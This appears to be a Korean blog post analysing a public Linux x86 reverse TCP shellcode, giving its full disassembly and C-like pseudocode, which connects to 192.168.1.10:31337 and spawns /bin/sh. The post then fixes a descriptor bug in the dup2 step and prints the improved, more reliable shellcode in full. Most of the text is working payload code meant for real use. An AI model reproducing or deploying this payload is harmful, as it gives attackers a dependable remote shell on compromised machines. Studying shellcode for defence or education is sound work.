Reverse TCP shellcode 분석

인터넷에서 다양한 reverse TCP 쉘코드를 찾을 수 있는데 실전에서 사용시 가끔 잘 동작하지 않을때가 있어서(nc로 연결하자마자 종료된다던지) 쉘코드를 한번 분석해봤습니다.

분석할 쉘코드는 http://shell-storm.org/shellcode/files/shellcode-849.php 입니다.
링크 외에도 다양한 reverse TCP 쉘코드가 많은데, 제가 본 코드중에 가장 가독성 있고, 깔끔한 쉘코드여서 해당 쉘코드를 선택했습니다.

어셈코드는 다음과 같습니다.
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       31 db                   xor    ebx,ebx
 8048064:       31 c9                   xor    ecx,ecx
 8048066:       31 d2                   xor    edx,edx
 8048068:       b0 66                   mov    al,0x66
 804806a:       b3 01                   mov    bl,0x1
 804806c:       51                      push   ecx
 804806d:       6a 06                   push   0x6
 804806f:       6a 01                   push   0x1
 8048071:       6a 02                   push   0x2
 8048073:       89 e1                   mov    ecx,esp
 8048075:       cd 80                   int    0x80
 8048077:       89 c6                   mov    esi,eax
 8048079:       b0 66                   mov    al,0x66
 804807b:       31 db                   xor    ebx,ebx
 804807d:       b3 02                   mov    bl,0x2
 804807f:       68 c0 a8 01 0a          push   0xa01a8c0
 8048084:       66 68 7a 69             pushw  0x697a
 8048088:       66 53                   push   bx
 804808a:       fe c3                   inc    bl
 804808c:       89 e1                   mov    ecx,esp
 804808e:       6a 10                   push   0x10
 8048090:       51                      push   ecx
 8048091:       56                      push   esi
 8048092:       89 e1                   mov    ecx,esp
 8048094:       cd 80                   int    0x80
 8048096:       31 c9                   xor    ecx,ecx
 8048098:       b1 03                   mov    cl,0x3
0804809a <dupfd>:
 804809a:       fe c9                   dec    cl
 804809c:       b0 3f                   mov    al,0x3f
 804809e:       cd 80                   int    0x80
 80480a0:       75 f8                   jne    804809a ; <dupfd>
 80480a2:       31 c0                   xor    eax,eax
 80480a4:       52                      push   edx
 80480a5:       68 6e 2f 73 68          push   0x68732f6e
 80480aa:       68 2f 2f 62 69          push   0x69622f2f
 80480af:       89 e3                   mov    ebx,esp
 80480b1:       52                      push   edx
 80480b2:       53                      push   ebx
 80480b3:       89 e1                   mov    ecx,esp
 80480b5:       52                      push   edx
 80480b6:       89 e2                   mov    edx,esp
 80480b8:       b0 0b                   mov    al,0xb
 80480ba:       cd 80                   int    0x80

소스코드는 다음과 같습니다.
socketcall 함수의 첫번째 인자는 호출할 socket관련 함수의 번호이며, 두번째 인자는 socket관련 함수에 전해줄 인자들이 들어있는 배열입니다.
int socketFD = socketcall(0x1, [PF_INET, SOCK_STREAM, IPPROTO_TCP]); // socket 함수

struct sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET; // 0x2
serverAddr.sin_addr.s_addr = inet_addr("192.168.1.10");
serverAddr.sin_port = htons(31337);
socketcall(0x3, [socketFD, (struct sockaddr*)&serverAddr, 0x10]); // connect 함수

int i = 3;
while (i--) dup2(3, i);

execve("/bin/sh", ["/bin/sh", NULL], NULL);

여기서 문제가 되는 부분은 dup2 함수를 호출할때입니다.
쉘을 연결해야 하는 socketFD를 이용하지 않고 단순히 3번 FD를 stdin, stdout, stderr로 바꿔주네요.
단지 링크에 올려놓은 쉘코드뿐만 아니라 인터넷에 올라와있는 많은 쉘코드들이 저런식으로 코딩돼 있습니다.

만약 쉘코드가 실행되기 전에 바이너리 안에서 파일을 open 후 close 하지 않거나, 다른 프로세스와 통신하기 위해 파이프라인을 생성했다면, 또는 그 외에 File Descriptor를 생성하는 모든 함수에 의해 socketFD는 3번이 아니게 될 수 있습니다.

그러므로 간단하게 dup2 함수 호출 전에 socket함수로 반환된 socketFD를 저장해놓은 esi 레지스터 값을 ebx에다가 mov 해주면 어떠한 상황에서도 정상적으로 동작 할 수 있습니다.
소스코드
int socketFD = socketcall(0x1, [PF_INET, SOCK_STREAM, IPPROTO_TCP]); // socket 함수

struct sockaddr_in serverAddr;
serverAddr.sin_family = AF_INET; // 0x2
serverAddr.sin_addr.s_addr = inet_addr("192.168.1.10");
serverAddr.sin_port = htons(31337);
socketcall(0x3, [socketFD, (struct sockaddr*)&serverAddr, 0x10]); // connect 함수

int i = 3;
while (i--) dup2(socketFD, i); // 수정된 부분

execve("/bin/sh", ["/bin/sh", NULL], NULL);


어셈코드는 다음과 같습니다.
08048060 <_start>:
 8048060:       31 c0                   xor    eax,eax
 8048062:       31 db                   xor    ebx,ebx
 8048064:       31 c9                   xor    ecx,ecx
 8048066:       31 d2                   xor    edx,edx
 8048068:       b0 66                   mov    al,0x66
 804806a:       b3 01                   mov    bl,0x1
 804806c:       51                      push   ecx
 804806d:       6a 06                   push   0x6
 804806f:       6a 01                   push   0x1
 8048071:       6a 02                   push   0x2
 8048073:       89 e1                   mov    ecx,esp
 8048075:       cd 80                   int    0x80
 8048077:       89 c6                   mov    esi,eax
 8048079:       b0 66                   mov    al,0x66
 804807b:       31 db                   xor    ebx,ebx
 804807d:       b3 02                   mov    bl,0x2
 804807f:       68 c0 a8 01 0a          push   0xa01a8c0
 8048084:       66 68 7a 69             pushw  0x697a
 8048088:       66 53                   push   bx
 804808a:       fe c3                   inc    bl
 804808c:       89 e1                   mov    ecx,esp
 804808e:       6a 10                   push   0x10
 8048090:       51                      push   ecx
 8048091:       56                      push   esi
 8048092:       89 e1                   mov    ecx,esp
 8048094:       cd 80                   int    0x80
 8048096:       89 d9                   mov    ecx,ebx ; ebx == 3
 8048098:       89 f3                   mov    ebx,esi ; esi == socket file descriptor
0804809a <dupfd>:
 804809a:       fe c9                   dec    cl
 804809c:       b0 3f                   mov    al,0x3f
 804809e:       cd 80                   int    0x80
 80480a0:       75 f8                   jne    804809a ; <dupfd>
 80480a2:       31 c0                   xor    eax,eax
 80480a4:       52                      push   edx
 80480a5:       68 6e 2f 73 68          push   0x68732f6e
 80480aa:       68 2f 2f 62 69          push   0x69622f2f
 80480af:       89 e3                   mov    ebx,esp
 80480b1:       52                      push   edx
 80480b2:       53                      push   ebx
 80480b3:       89 e1                   mov    ecx,esp
 80480b5:       52                      push   edx
 80480b6:       89 e2                   mov    edx,esp
 80480b8:       b0 0b                   mov    al,0xb
 80480ba:       cd 80                   int    0x80

댓글